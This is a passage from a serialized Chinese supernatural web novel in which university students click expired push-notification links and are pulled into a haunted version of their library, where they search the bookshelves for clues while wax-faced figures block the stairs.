[什么背景的新人啊?这么大面子?连报告都让老大代笔?] [快说说!新人什么来头?男的女的?好看不?] 闫知许看着群里刷屏的消息,嘴角勾起一丝神秘的笑容,慢悠悠地打字回复。 [明天他就来办入职了,到时候你们自己看呗。] …… 第二天上午,宿珩只有一节专业课。 他踩着上课铃声走进阶梯教室时,原本有些嘈杂的室内,像是被按下了暂停键,瞬间安静了几秒。 随即,低低的议论声如同潮水般重新涌起。 数十道或好奇、或探究、或带着些许不怀好意的目光,齐刷刷落在他身上。 宿珩对此恍若未觉。 他面色平静,步履从容,径直走向后排靠窗的老位置。 从背包里拿出课本和笔,动作流畅自然,仿佛周围那些意味深长的注视和窃窃私语,不过是扰人的蚊蚋嗡鸣。 昨天那篇匿名论坛的帖子显然发酵得很快,图文并茂,足够引人遐想。 宿珩并不意外会引起关注,只是没想到,这些平日里看似专注于学业的同学,对别人的私生活竟抱有如此大的热情。 讲台上的老师已经已经清了清嗓子,开始讲课。 宿珩收回思绪,将注意力放在了课本上。 对他而言,这些无聊的八卦远不如知识本身来得有吸引力,更不如即将到手的奖金实在。 一节课的时间很快过去。 下课铃一响,宿珩便合上书本,将东西收回背包,起身离开了教室。 身后那些黏腻的目光和压低的议论,他依旧置若罔闻。 走出京州大学南门,拐了个弯儿,那栋挂着“街道清理办事处”牌子的二层小楼便出现在眼前。 宿珩推门走了进去。 与上次来时一楼空空荡荡,只有闫知许一人值守的景象不同,今天的大厅里多了不少人。 靠墙摆放着几张简易的办公桌,四五个穿着便服的年轻男女正各自忙碌着。 有的对着电脑屏幕噼里啪啦地敲击键盘,有的在整理厚厚一摞文件,还有两个凑在一起,压低声音讨论着什么,偶尔发出几声轻笑。 整个空间弥漫着一种介于普通办公室和某种秘密基地之间的奇妙氛围。 听到推门声,所有人的动作都下意识地停顿了一下,目光不约而同地投向门口。 当看清进来的是宿珩时,那几张陌生的脸上都露出了几分了然和掩饰不住的好奇。 他们互相交换着眼神,有人甚至拿起手机,手指飞快地在屏幕上敲打着。 [小闫不是说今天他会来办手续吗?人来了!] [卧槽!真人确实比想象中的好看!气质好绝!] [这就是老大亲自帮忙写报告的新人?果然不一般……] [好冷淡的样子,感觉不太好接近啊。] 宿珩的目光在大厅里平静地扫过一圈,没有在那些打量的视线上过多停留。 这时,上次见过的那个叫闫知许的年轻人快步从里面的隔间走了出来,脸上带着一种恰到好处的热情笑容。 “宿珩同学,你来啦!” 闫知许迎上来,“肖处长临时去市里开会了,今天上午可能回不来。你的入职手续我带你办就行。” 宿珩点了下头,“麻烦了。” “不麻烦不麻烦,应该的。” 闫知许在前面引路,带着宿珩走向角落的一张空桌子,“跟我来这边登记一下信息就好。” 宿珩跟在他身后。 登记流程不复杂,主要是填写个人基本信息,提供银行卡号,以及在一份打印好的入职协议上签字。 闫知许一边帮他核对信息,一边没话找话地活跃气氛,语气里带着小心翼翼的试探。 “那个……宿珩同学,昨天那个‘心门’……难度怎么样?第一次……哦不,第二次进去,感觉还适应吗?” 宿珩签下自己的名字,笔尖顿了顿。 他抬起眼,看着闫知许那张写满好奇的脸,认真地思考了几秒。 “如果我说很难的话,奖金会更多吗?” 闫知许脸上的笑容僵了一下,随即变得有些尴尬。 他没想到宿珩会问得这么直接,而且……角度如此清奇。 他干咳一声,挠了挠头,组织了一下语言才说:“这个……这个得看处长了,处长会根据任务的危险程度、完成情况以及……嗯,一些其他因素综合评估的。” 言下之意,大家都是打工人,谁说了也不算。 除了肖处长。 宿珩没再追问,低头继续签完了剩下的文件。 他将笔放下,合上协议书。 “好了。” 闫知许确认无误后,将文件收好。 “手续都办完了,你的银行卡号已经登记了,工资和这次任务的奖金会尽快打到你的账户里。” “谢谢。” 宿珩应了一声,没有多留。 他背上背包,冲闫知许微微点了下头,便转身朝着门口走去。 “宿珩同学慢走啊!” 闫知许热情地送了两步。 大厅里那几个年轻人见他要走,打量的目光更加肆无忌惮,手机小群里的消息又开始刷屏。 宿珩像是完全没听到身后的动静,径直走出了办事处。 午后的阳光洒在身上,暖洋洋的。 他沿着来时的路往学校走,脑子里还在盘算着那笔奖金大概会有多少。 肖靳言说最低五万,但那扇“心门”的难度不算小,过程也算惊险,应该不会是最低档吧? 正走着,手机忽然震动了一下。 他掏出手机,是银行发来的短信通知。 【您尾号XXXX的银行卡于今日12:32入账110000.00元。】 宿珩的脚步猛地顿住。 他盯着手机屏幕上那个扎眼的数字——110000。 不是五万,不是八万,是十一万。 这个月的工资加上一次任务的奖金,一共十一万。 他站在路边,看着手机屏幕,向来平静无波的眼眸里,终于还是不可避免地闪过一丝错愕。 十一万…… 这个数字对于一个普通的大二学生来说,无疑是一笔巨款。 肖靳言……居然真的没骗他。 第36章 第 36 章 失效链接2 这天下午, 经管系并无课程安排。 江文彬比旁人早些抵达图书馆,他打算在此等候女友林莹莹,一同处理那令人头疼的小组作业。 午后的阳光斜斜穿透玻璃, 图书馆内人影稀疏,只有翻动书页的沙沙声与远处空调微弱的送风声。 他找了个靠窗的位置坐下,面前摊开一本专业书, 目光却似不受控制地,频频滑向斜后方。 斜后方那处幽静的角落,一个身着素白连衣裙的女生静坐着, 乌亮的长发如瀑般垂落肩头, 正垂首凝视着手中的书。 江文彬所处的角度, 仅能窥见她一小片轮廓精致的侧颜,以及几缕不经意森*晚*整*理垂落的鬓发, 却已足够勾勒出几分动人心魄的清丽。 这身影……似乎有点眼熟。 这让江文彬心里莫名地虚了一下,随即又假装若无其事地移开视线。 更远处的桌子旁,也零散坐着两人。 一个是留着利落寸头的男生,正专注地盯着手机, 看样子是在看视频。 另一个则是挑染了几缕蓝紫色头发的女生, 她戴着耳机, 指尖在笔记本电脑上飞快敲击, 神情专注又带着几分不耐。 江文彬收回游移的视线,谨慎地环顾四周, 确认无人留意他的举动,这才慢条斯理从衣袋深处摸出手机。 指尖熟练地在屏幕上滑动, 切换至一个隐秘的小号,随即点开了京州大学内部的学生论坛。 置顶飘红的那个帖子,标题依旧醒目—— 【惊爆!某院系草一天未上课, 疑似被校外神秘豪车接走!】 他点进去,看着下面已经盖到上千楼的评论,唇角那抹自得的笑意几乎无法抑制。 各种揣测、羡慕、嫉妒、甚至谩骂,都让他有种操纵舆论的隐秘快感。 尤其是看到那些平时高高在上,对他不屑一顾的女神们,在评论区里酸溜溜地议论着照片里的主角,他心里就涌起一股病态的得意。 就在他沉浸在这份愉悦中,津津有味地翻看评论时,眼角余光忽然瞥见不远处的书架。 一个熟悉的身影正侧对着他,伸手在书架上寻找着什么。 那背影清癯而挺拔,露出的侧脸线条干净利落,宛如精心雕琢的玉器,周身散发着一种拒人于千里之外的清冷气场。 江文彬心中发出一声无声的嗤笑。 这不正是他那篇得意之作里的“风云人物”么? 真是巧了。 他下意识地想举起手机,再偷拍几张素材,说不定又能掀起一波更为汹涌的讨论热潮。 “文彬,你看什么呢?” 一个娇嗲的女声自身后冷不丁响起,话音里夹杂着几分不易察觉的不悦。 江文彬手一抖,手机差点掉下去,屏幕上那些隐秘的字符也差点暴露。 他连忙熄了手机,若无其事地回头,脸上已经换上了温和的笑容。 “莹莹,你来啦。” 林莹莹将一个粉色的名牌背包往桌上一放,发出不小的声响。 她狐疑地看着江文彬:“我刚才看你鬼鬼祟祟的,在拍什么呢?” “没拍什么,看下时间而已。” 江文彬面色如常,谎言说得滴水不漏,同时不动声色将手机塞回了衣袋深处。 林莹莹撇了撇嘴,倒也没有继续深究这个话题。 她拉开江文彬旁边的椅子坐下,从背包里拿出笔记本电脑和平板,开机后熟练地点开了一个时下热门的综艺节目,戴上耳机,看得津津有味。 江文彬见状,心底暗暗松了口气。 他这个女朋友,除了有点大小姐脾气,花钱大手大脚,其他方面都还算好糊弄。 林莹莹刷了会儿综艺,似乎才终于想起正事,摘下一只耳机,问江文彬:“对了,小组作业你思路有了吗?我可不想被扣平时分。” 江文彬心不在焉地应付道:“差不多了,等会儿我来做ppt。” 就在这时,林莹莹放在桌面上的手机屏幕忽然亮了一下,弹出来一条推送消息。 【S家最新款星月神话限量手链,国内专柜今日到货!】 林莹莹眼睛一亮,立刻丢开平板,一把抓起手机便迫不及待点了进去。 那可是她最近心心念念了好久的东西,没想到这么快就有货了。 几乎是同一时间,江文彬口袋里的手机也震动了一下。 他下意识地掏出来一看,屏幕上同样弹出一个链接,标题却截然不同—— 【爆!您的帖子《惊爆!某院系草……》在一分钟内收到超过99+条新回复!】 短短片刻工夫,回复竟然又增加了99+?! 江文彬的心脏猛地一跳,一股强烈的兴奋和惊喜涌上心头。 他几乎没有丝毫犹豫。 趁着林莹莹专注地盯着自己手机屏幕的空当,鬼使神差地点开了那条推送链接。 与此同时—— 宿珩正在书架区,仔细查找着撰写专业课论文所需的参考资料。 他刚从书架上抽出一本厚重的《金融衍生品分析》,手机便在口袋里“叮”地轻响了一声。 他掏出手机,屏幕上显示着一条推送消息。 来自一个他从未关注过的陌生公众号。 【还在为财富自由发愁吗?顶级操盘手教你年化收益50%的理财秘诀!】 宿珩的眉梢几不可察地挑了挑。 他平日里对于此类信息向来是直接无视。 但今天,或许是前几天那笔刚到账的十一万起了点作用,他竟破天荒地生出一点随便看上一眼的念头,指尖在那条链接上轻轻一点。 链接……失效。 手机屏幕上弹出一个加载失败的提示。 一个旋转的圆圈徒劳地转了几下便静止了。 宿珩微微蹙眉,正准备收起手机,不再理会这无聊的推送,眼前却骤然一黑。 下一秒,当视野重新恢复清明时—— 他发现自己依旧站在图书馆的书架旁,手中的《金融衍生品分析》也还在。 只是,窗外的天色,不知何时已经变成了压抑的灰蒙蒙一片,像是暴雨将至前的沉闷。 图书馆内原本柔和的灯光也变得昏暗诡谲。 空气中弥漫起一股若有若无的、类似旧书页发霉的陈腐气息。 隐约间,似乎还能听到一阵阵低声的嘲笑,还有极细微的,像是有人在远处压抑地啜泣。 这些声音在耳边飘忽不定,像是幻听一般。 宿珩拧眉,眼底掠过一丝了然。 又来了。 他平静地合上手中的书,将其放回原位,随后缓缓转过身,目光在这片不算宽敞的图书馆阅览区内,沉静而仔细地缓缓扫过。 除了他自己,此刻的阅览区内里还有五个人。 靠窗的位置,坐着一对情侣。 男生的脸上还挂着一抹僵硬的笑容,但很快被一片茫然取而代之。 他身边的女生也摘下了耳机,瞪大眼睛看着四周,漂亮的脸蛋上满是慌乱。 不远处,一个留着寸头的男生站了起来,眉头紧锁,警惕地打量着周围。 更远一点,一个挑染了头发的时尚女生,则抱臂靠在书桌旁,脸上虽然也有些许错愕,但更多的却是一种冷静的审视。 最后,是那个坐在角落里的白裙女生。 她也站了起来,双手紧紧抓着自己的裙摆,眼神里充满了不知所措的惶恐。 宿珩的目光在那白裙女生身上短暂停留了一瞬,随即移开。 看来,这一次的“心门”范围不小。 一共拉进来了六个人。 …… 窗外天光晦暗,图书馆内静得落针可闻。 最先打破这片诡异沉寂的,是坐在窗边的林莹莹。 她瞪圆双眼,看着外面那片与方才截然不同的,如同浓墨晕染的灰蒙天空,声音发紧,尾音微微发颤。 “这……这是怎么了?天怎么一下子就黑了?刚才不还好好的吗?” 她身旁的江文彬脸色有些发白,眼神慌乱地在四周逡巡,喉结紧张地上下滚动了一下。 “我……我也不知道啊,怪吓人的。” 他嘴上这么说,目光却不由自主地飘向了宿珩。 在这群人里,他对宿珩相对最熟,尽管这种“熟”更多是单方面的。 眼下这诡异的情形,让他下意识地想从这个一向冷静的同班同学身上找到些许答案。 “宿珩……” 江文彬舔了舔有些发干的嘴唇,努力让自己的声音听起来镇定些。 “你知道这是什么情况吗?” 宿珩闻声,平静地转过头,目光在江文彬脸上停留了两秒,眼神里没有丝毫波澜,仿佛在看一个全然陌生的人。 “你是谁?” 竟然能喊出他的名字? 清冷的声音不高,却像一记无形的耳光,抽得江文彬脸上一热。 他顿时僵在原地,嘴角的肌肉不受控制地抽搐了一下,一股被轻贱的屈辱感混杂着恼怒,瞬间冲上头顶。 同班两年,这家伙竟然连他是谁都不认识! 他可是江文彬,经管三班的班长! 宿珩的反应让气氛更加凝滞。 这时,那个一直沉默的寸头男生开了口,打破了尴尬。 他自称余思阳,此刻眉头紧锁,脸上带着几分警惕。 “我刚才在看一场篮球比赛的转播,网速卡得要命,看得人心里直冒火,这时手机突然弹出来一个链接,说是最新赛事的独家直播,保证不卡顿,谁知道一点进去屏幕就黑了,然后……然后就变成现在这样了。” 他环顾四周,语气中带着一丝困惑。 “我也是我也是!” 林莹莹像是找到了组织,急忙附和,声音尖细了几分。 “我刚看到S家那款星月神话限量手链的推送,说是国内专柜今天刚到货,我点进去就显示链接失效,然后周围就暗下来了!” 她拍着胸口,漂亮的脸蛋上满是惊魂未定。 这话立刻引起了共鸣。 “看来大家情况都差不多。” 一直抱臂靠在书桌旁,冷静观察着一切的女生忽然开口。 她一头蓝紫色挑染的长发在昏暗的光线下依旧惹眼,神情透着一股与年龄不符的镇定与锐利。 “我叫文玉燕,大四的。” 她简单自我介绍,随即目光扫过众人。 “我刚打了学校后勤和报警电话,遗憾的是……都没有信号。” “既然大家都是点了莫名其妙的链接才被困在这里,不如都说说自己收到的是什么内容的链接。说不定能找到点线索,总比干耗着强。” 她率先打破僵局:“我收到的是一个独立艺术画展的电子邀请函,主题和风格看着都挺对胃口的,就顺手点了。” 江文彬眼神闪烁了一下,清了清嗓子,支吾着开口:“我……我收到的是论文录用通知,一个核心期刊的,说是初审通过了。” 他下意识地挺了挺胸膛,仿佛这样能增加话语的可信度。 角落里,一直安静得像是不存在的白裙女生,闻言也小声开口: “我……收到的是,教师资格证上半年考试的报名提醒链接……” 她低着头,双手紧张地绞着裙摆,长长的睫毛在眼睑下投下一片阴影。 文玉燕点了点头,目光转向最后还没开口的宿珩。 “这位同学,你呢?” 宿珩的表情没有任何变化,仿佛在陈述一件再平常不过的事情。 “理财广告。” 三个字,清晰而平静。 空气有那么一瞬间的安静。 江文彬差点没绷住脸上的表情,嘴角抽了抽。 他精心编造的“核心期刊录用通知”和宿珩这轻描淡写的“理财广告”一对比,显得他方才那点虚荣的小心思格外可笑。 文玉燕挑了挑眉,似乎也没想到是这么个答案。 她思忖了半晌,说:“看来大家点开的链接内容都不一样……” “这说明……要么是随机的,要么就是有什么东西,通过某种方式,准确地捕捉到了我们每个人心里最在意、最想要的东西,然后把相关的链接推送给我们。” 她耸了耸肩,语气听不出情绪,“比如我,确实挺想去那个独立画展看看的。” 她这话一出,其他人心头都像是被什么轻轻拨动了一下,结合自己的情况,似乎都能和“心中所想”对得上号。 江文彬脑子里闪过他点开的那个关于宿珩的匿名帖子链接,脸上不受控制地泛起一丝不自然的表情,又被他强行压了下去。 宿珩听着文玉燕的分析,眼神却渐渐凝重起来。 他不动声色地环顾四周。 图书馆人虽不多,但除了他们这六个人,其他座位上,那些原本坐着看书、写字、刷题的学生,此刻全都消失了踪影。 座位空空荡荡,那些堆叠在桌上的书籍和文具,也都像是一瞬间被蒸发了一样。 如果这扇“心门”,真的是通过这些立马失效的链接,来筛选并把目标拉进来。 那么,为什么没有其他人? 单单只有他们六个,在事发时离这片阅览区最近的人? 这背后的逻辑,似乎比想象中要复杂得多,也诡异得多。 他总觉得,遗漏了什么更深层、更关键的东西。 第37章 第 37 章 失效链接3 “这鬼地方我是一秒钟都待不下去了!” 林莹莹再也扛不住这股让人闷得发慌的氛围, 死命摇着江文彬的胳膊,嗓子眼儿里都带了哭音。 “文……文彬,我不想待在这里了, 我们快走吧!” 江文彬被她晃得心烦意乱,脸上却不得不挤出一丝僵硬的安抚笑容。 “好……好,我们这就走。” 其实, 他自己心里也怕得要死。 但偷偷瞥了一眼不远处面色平静如水的宿珩,一股莫名的好胜心与嫉妒如野草般,在他心里疯长。 江文彬绝对不愿意在对方面前, 尤其是在自己女朋友面前, 显得太过无能和懦弱。 他深吸一口气, 压下心头的慌乱。 “这里是图书馆二楼,我们从楼梯下去, 应该就能出去了。” 江文彬故作镇定地分析着,刻意清了清嗓子,仿佛自己已经成为了这群人的主心骨。 他转向众人,试图营造一种团结的氛围, 声音也拔高了几分。 “大家赶紧收拾一下东西, 咱们一起行动, 人多也安全些。” 余思阳闻言, 眉头不自觉地皱了皱。 他显然对江文彬这副强装出来的领导派头有些不屑,甚至可以说是反感。 但眼下情况诡异不明, 尽快离开总是没错的。 他没有多言,率先拿起了自己的黑色双肩包。 文玉燕也干脆利落地合上笔记本电脑, 迅速塞进随身的背包里,动作没有丝毫拖泥带水。 角落里的程蔓依旧低着头,她默默将一本摊开的书合上, 放回随身的小布袋。 几人简单收拾妥当。 江文彬强撑着内心的恐惧,紧紧拉着林莹莹冰凉的手,率先朝着楼梯口的方向走去,脚步却有些虚浮。 余思阳和程蔓跟在他们身后,文玉燕则走在最后。 路过宿珩时,程蔓的视线在他身上极快地掠过,又迅速低下头,仿佛只是不经意的一瞥。 宿珩站在原地没动。 他经历过两次“心门”,深知在这种诡异的环境下,任何看似正常的“离开”途径,往往都只是徒劳的挣扎,甚至是更深陷阱的入口。 文玉燕经过宿珩身边时,脚步顿了顿,眼神里带着一丝疑惑。 “你不走吗?” 她话音刚落—— “啊——!” 一声凄厉的尖叫猛地从楼梯口方向传来,是林莹莹的声音,尖锐得几乎要刺破人的耳膜。 紧接着,是江文彬带着惊骇的怒吼:“卧槽!” 文玉燕神色一紧,反应极快地转身,大步奔向楼梯口。 宿珩目光微凝,也迈步跟上。 两人几乎同时挤到了楼梯口。 图书馆的楼梯比一般教学楼的要宽敞不少。 此刻,从二楼通往一楼的楼梯下方,密密麻麻,挤满了数不清的“人”! 这些“人”穿着各色各样的衣服,有男有女,姿态各异。 唯一的共同点,是脸上都镀着一层厚厚的惨白釉质,像是刚刷上去的石膏。 他们的五官在惨白的釉质下显得模糊不清,透着一种令人心悸的诡异僵硬。 他们安静地,如同凝固的蜡像一样,站在楼梯最下方。 所有“人”都仰着头,脖子歪在一边。 那一张张没有丝毫生气,如同被白蜡封住的脸,齐刷刷地盯向站在二楼楼梯上方的一行人。 有些“蜡像人”的嘴角,竟然还裂开一抹僵硬而诡异的笑容。 那笑容像是被某个拙劣的工匠随意用刻刀划上去的,充满了令人不寒而栗的嘲讽与深深的恶意。 “妈呀……” 林莹莹双腿早就软的不成样子,几乎要瘫倒在地,幸好被江文彬死死拽住。 她脸色惨白如纸,嘴唇哆嗦着,连完整的哭声都发不出来。 江文彬也好不到哪里去。 头皮一阵阵发麻,像是有无数细小的虫子在头皮下钻动,心脏更是像要从嗓子眼里跳出来。 他死死盯着下方那些纹丝不动的“蜡像人”,喉结剧烈地滚动着,额头上瞬间布满了冷汗。 他想故作镇定地安慰林莹莹,但牙齿却不听使唤地上下打颤。 余思阳和文玉燕也是一脸惊骇,身体下意识地绷紧。 程蔓则躲在余思阳身后,双手紧紧抓着布袋,身体微微发抖,低垂的脸上看不清任何表情,只有几缕发丝垂落,遮住了惊慌的视线。 万幸的是—— 楼梯下方那些恐怖的“蜡像人”并没有任何进一步的动作。 它们只是那么直勾勾地,用一张张惨白僵硬、毫无生气的脸,无声地注视着楼上的每一个人。 “退退退……快退回去!” 江文彬终于从极致的恐惧中找回了一丝声音。 他嘶哑着嗓子,几乎是拖着魂不附体的林莹莹,踉踉跄跄地往后退。 其他人也立刻反应过来,纷纷后退,迅速远离了那个令人不寒而栗的楼梯口。 唯一的出口,被那些诡异的“蜡像人”彻底堵死了。 他们被困在了图书馆的二楼。 几人惊魂未定地退回到最开始的阅览区。 气氛凝重得几乎要滴出水来,压抑得让人喘不过气。 “呜呜呜……怎么办啊……我们出不去了……” 林莹莹再也忍不住,积压的恐惧如同决堤的洪水般爆发,放声大哭起来。 眼泪鼻涕更是糊了一脸,精致的妆容也花了。 江文彬虽然自己也怕得要命,但看着哭得梨花带雨的女朋友,还是强打起精神,蹲下身子耐着性子安慰。 “别怕,别怕,有我在呢……我们再想想别的办法……一定会有办法的……” 他一边说着,一边手忙脚乱地从口袋里掏出纸巾。 然而,因为过度的紧张和恐惧,他的动作显得格外笨拙,纸巾掏了几次才拿出来。 余思阳脸色铁青,眼神中充满了烦躁和一丝无力。 他猛地一拳砸在旁边的厚实书架上,发出“咚”的一声沉闷巨响。 “妈的,这到底是什么鬼地方!” 文玉燕眉头紧锁,但明显比其他人都要冷静。 “看来,我们是被某种东西刻意困在这里了,那些‘人’……不像是活物。” 程蔓依旧安静地站在一旁,低着头,看不出什么情绪,只是偶尔抬眼,飞快地瞥一眼几人。 宿珩沉默地走到窗边。 他看着外面那片灰蒙蒙、没有一丝生气的天空。 图书馆的窗户都是完全封死的,玻璃厚重,根本无法打开。 他能清晰地感受到,在看到那些“人”时,耳边再次响起了那股若有若无的嘲笑声和哭泣声。 这些声音似乎比刚才更加清晰了一些,也更加的……近了。 “那些东西……虽然看着吓人,但至少它们刚才没动。” 余思阳深吸一口气,试图让自己冷静下来。 他是体育生,身体素质远超常人,此刻反而最先从最初的惊恐中恢复了几分镇定。 他看向众人,眼神里带着一丝决绝。 “要不……我们干脆硬闯下去?” “我打头阵,大家跟紧点,说不定只要冲过去就没事了!” 这话一出,林莹莹的哭声都顿了一下,惊恐地看着他。 江文彬也皱起了眉头,虽然他很想立刻离开,但让他面对那些恐怖的蜡像人,他实在没那个胆子。 “不行。” 文玉燕立刻否定了这个提议,她的声音依旧冷静,却带着不容置疑的坚决。 “我们现在下去,它们是不动。可万一,我们走到一半,或者刚到一楼的时候,它们突然动了呢?” “到时候我们被它们团团围住,上不去也下不来,那才是真正的绝境,连一点回旋的余地都没有了。” 余思阳闻言,张了张嘴,想反驳什么,却发现文玉燕说得很有道理。 他烦躁地“啧”了一声,不再说话,只是脸色更加难看。 阅览区内再次陷入一片令人窒息的沉默。 每个人的心头都像是压了一块巨石,沉甸甸的,让人喘不过气来。 …… 在其他人惊魂未定,仍陷在楼梯口那骇人一幕的余悸中时—— 宿珩已经从窗边悄然转身,径直走向先前查找资料的那片书架区。 这里的每一排书架都高耸入顶,几乎要触碰到天花板,投下大片浓重的阴影。 昏暗的光线下,那些密密麻麻排列的书脊如同沉默的墓碑,静静伫立,散发着一种令人心头发沉的压抑气息。 文玉燕的目光一直若有若无地跟随着宿珩。 见他单独行动,她眉梢微挑,眼神里掠过一丝不易察觉的思索。 她没有丝毫犹豫,也迈步跟了过去,几步便来到宿珩身边。 “同学……” 文玉燕的声音压得很低,带着几分试探,“你是不是……经历过这种事?” 她上下打量着宿珩,语气里带着一丝玩味:“不然,你瞧着也太冷静了点,一点也不像是第一次。” 宿珩的目光依旧在书架上飞快逡巡,搜寻着任何可能和“心门”有关的蛛丝马迹。 他甚至头都没回,语气冷淡地反问:“你收到的链接,真的是画展邀请函吗?” 文玉燕明显愣了一下,似乎没料到他会问这个。 她随即肯定地点头。 “当然,一个新锐艺术家的独立艺术画展,我关注很久了……” “怎么,你在怀疑我骗人?” 宿珩没有直接回答,只是随手从书架上取下一本厚重的《西方艺术史》,指尖在布满灰尘的封皮上轻轻拂过。 看着他这不带任何情绪的的动作,文玉燕忽然明白了什么。 她唇角勾起一抹带着几分自嘲,又有些了然的笑意。 “看来,是我低估你了……” 她轻轻吁出一口气,仿佛卸下了某种伪装,“你是不是……认出我了?” 宿珩这才微微颔首,发出一声极轻的“嗯”,算是默认了她的猜测。 他将那本沉甸甸的《西方艺术史》放回原位,重新将视线投向那些书架。 办理入职那天,闫知许曾递给他一份办事处内部人员的通讯录让他熟悉一下。 上面就有“文玉燕”这个名字。 他记性向来很好,只一眼便记住了。 既然身份已被识破,文玉燕也就不再遮掩。 她轻轻叹息了一声,身体随意地背靠向身后的冰冷书架,语气也变得随意了几分: “京州大学最近不太平,接连发生了好几起学生失踪的案子,所有失踪者最后失去联系的地点,无一例外都是在这座图书馆之内。” “我是接了肖处长的任务,过来摸底排查的,没想到会在这里碰上你。” 文玉燕顿了顿,眼神里闪过一丝戏谑。 “说起来,你现在可是我们办事处小群里的红人。” 文玉燕甚至还刻意拉长了语调,一字一顿地强调道:“大——名——鼎——鼎!” 宿珩终于侧过头看向她,那双总是平静无波的眼眸里,罕见地浮现出一丝极淡的疑惑。 “红人?” 文玉燕被他这副略带茫然的样子逗笑了。 “你可是咱们街道清理办事处成立以来,第一个……敢让肖处长亲自操刀,写新人任务报告的勇士啊!” 宿珩:“……” 他一时间竟有些无言以对。 文玉燕见他这副表情,笑意更深。 “别这么看着我,我可没夸张。肖处长私下里对你的评价,可是相当之高。” “他说你脑子好用,胆子也够大,是个难得的好苗子。” “这次说不定,我这个前辈还能沾沾你这位‘红人’的光,跟着你轻松躺赢一把呢。” 她这话半真半假,更多的是想看看宿珩的反应。 宿珩没有接话。 从别人口中听到肖靳言对自己的评价,尤其是这种带着几分赞赏的语气,让他心里生出一种难以言喻的怪异感。 他不动声色地移开视线,重新将全部注意力投注于眼前这排排高耸的书架。 就在这时—— 他的目光仿佛被什么无形的力量牵引,最终定格在书架最顶层。 那里,一本斜插在众多厚重典籍之间,毫不起眼的暗褐色旧书,突兀地闯入了他的视野。 那本书的书脊已经磨损得几乎看不清任何字迹,封皮是暗沉的深褐色,与周围那些装帧精美的书格格不入。 宿珩眼神微凛,伸手将那本书抽了出来。 书页早已泛黄发脆,接触到空气,便散发出一股浓重呛人的霉味。 其间还夹杂着一种……极细微,却无法忽略的气味,类似铁锈的淡淡腥气。 随着那本书被缓缓抽出,一张被折叠得整整齐齐的纸条,悄无声息地从发黄的书页间滑落,轻飘飘地,如同一片枯叶般落在地面上。 宿珩弯腰捡起。 纸条的质地粗糙,像是从某种廉价的笔记本上随意撕下来的。 上面用一种令人触目惊心的猩红色笔迹,潦草地写着一行字。 那字迹歪歪扭扭,却又在每一个笔画的转折间,都透着一股几乎要溢出纸面的,刻骨的怨念与绝望—— [被火焰吞噬的鸟,总好过在囚笼中死亡。] 在看到这行字的瞬间,宿珩鼻尖几不可察地动了动。 纸条上有一股若有似无的淡淡血腥味,混杂在书本的霉味中,钻入他的鼻腔。 这些字是用血……写的? 文玉燕也凑了过来,当她看清纸条上的字迹时,脸上先前那份故作的轻松神色瞬间收敛得无影无踪,眼神也随之变得异常凝重起来。 “这诗……是什么意思?” 她低声喃喃。 作为一名资深的清理师,她能敏锐察觉到,这句诗的出现绝非偶然出现。 它和眼下这个诡异的“心门”之间,必然存在着某种不为人知的深刻联系。 两人正对着纸条各自沉思的时候,一个不合时宜的声音冷不丁从身后响起。 那语气里,带着一种自以为是的熟稔。 “你们两个……神神秘秘的在看什么呢?” 江文彬不知何时,竟也悄无声息地走了过来。 他脸上带着惯有的假笑,眼神却在宿珩和文玉燕之间来回打转。 他刚才就注意到这两人凑在书架前嘀嘀咕咕,直觉告诉他,他们一定发现了什么重要线索。 宿珩面不改色,动作自然地将那张纸条对折,若无其事地揣进了裤兜。 “没什么。” 他淡淡回应,语气里听不出任何多余的情绪波动,仿佛方才什么都没有发生。 江文彬显然不信。 他往前凑了凑,试图从宿珩的表情或者文玉燕的反应中看出些端倪。 “真的没有吗……但我刚才好像看到你捡了张纸条……” 文玉燕瞥了他一眼,眼神冷淡,带着几分不耐。 “这位同学,别说我们没发现什么,就算发现了,似乎和你没什么关系吧?” “你有这闲功夫,不如多想想怎么从这里出去。” 江文彬被她怼得脸色一僵,讪讪地摸了下鼻子。 他眼神里闪过一丝恼怒,却也不敢再多纠缠,只能悻悻转身,灰溜溜地走开了。 第38章 第 38 章 失效链接4 江文彬灰溜溜走开后, 文玉燕的目光重新落回宿珩身上。 宿珩将那本暗褐色的旧书合拢,随手塞回了书架原本的位置。 他没有再看那本书一眼,转而将目光投向其他更高、更深处的书架。 文玉燕深深看了他一眼, 默默记下了那句诗。 直觉告诉她,这片诡异的书架区里,肯定不止这么一张纸条。 甚至, 不止这么一本书有问题。 她转过身,也开始在旁边的书架上仔细搜寻起来,不放过任何一个可能藏匿线索的角落。 其他人原本还焦躁不安地聚集在阅览区中央, 六神无主。 此时见到文玉燕和宿珩都在书架区里翻找着什么, 也都按捺不住了。 他们互相看了看, 纷纷起身,有些茫然地走进了这片由高大书架组成的迷宫。 林莹莹依旧紧紧攥着江文彬的胳膊, 被他半拖半拽地跟了过来。 她对找什么线索毫无兴趣,纯粹是不想一个人待着,多个人挡在前面总是好的。 江文彬则时不时地偷偷打量着宿珩和文玉燕的动静,眼神里充满了意味难明的揣测和一丝不甘。 他随手从书架上抽出一本书, 胡乱翻看着, 书页被他捏得哗哗作响, 心思却完全不在上面。 余思阳倒是比较认真。 他皱着眉头, 在一排排书架间穿梭,仔细检查着那些可能被忽略的缝隙和角落, 连书架顶部积灰的地方都没放过。 程蔓也默默地走了过来。 她没有去其他人扎堆的地方,而是不声不响地来到了森*晚*整*理宿珩先前站立的那排书架旁。 她垂着眼帘, 似乎在认真地挑选着什么,指尖在一本本积了灰的旧书书脊上轻轻划过。 当程蔓伸手去够书架略高处的一本书时,宽大的袖口不经意地向下滑落少许。 宿珩的余光正好瞥见了她抬起的左手手腕。 那里, 系着一条样式极为朴素的黑色细绳。 绳结处似乎串着一颗小小的、暗淡无光的珠子,与其说是手链,不如说更像是一条随意系上的护身符。 那条黑绳紧贴着她的皮肤,恰好地遮住了手腕内侧的一小片区域。 程蔓似乎察觉到了他的视线,取书的动作微微一顿,随即若无其事地将书拿下,又将袖口往下拉了拉,遮住了那条黑绳。 她抱着书,转身走向另一排书架,整个过程安静无声,没有和任何人交流。 宿珩收回目光,面色平静。 书架区已经被其他人占满。 每个人都在低头翻找,空气中弥漫着旧书的霉味和众人略显急促的呼吸声,显得有些压抑。 他没有继续留在这里。 反而转身独自一人,重新朝着那个令人不寒而栗的楼梯口走去。 当宿珩再次站在楼梯口,看清下方的景象时,即便是他,神色也不由自主地凝重了几分。 楼梯下方,那些密密麻麻、如同蜡像般的“人”,依旧保持着仰头望向二楼的姿态。 只是…… 它们的位置,和先前相比,有了肉眼可见的变化。 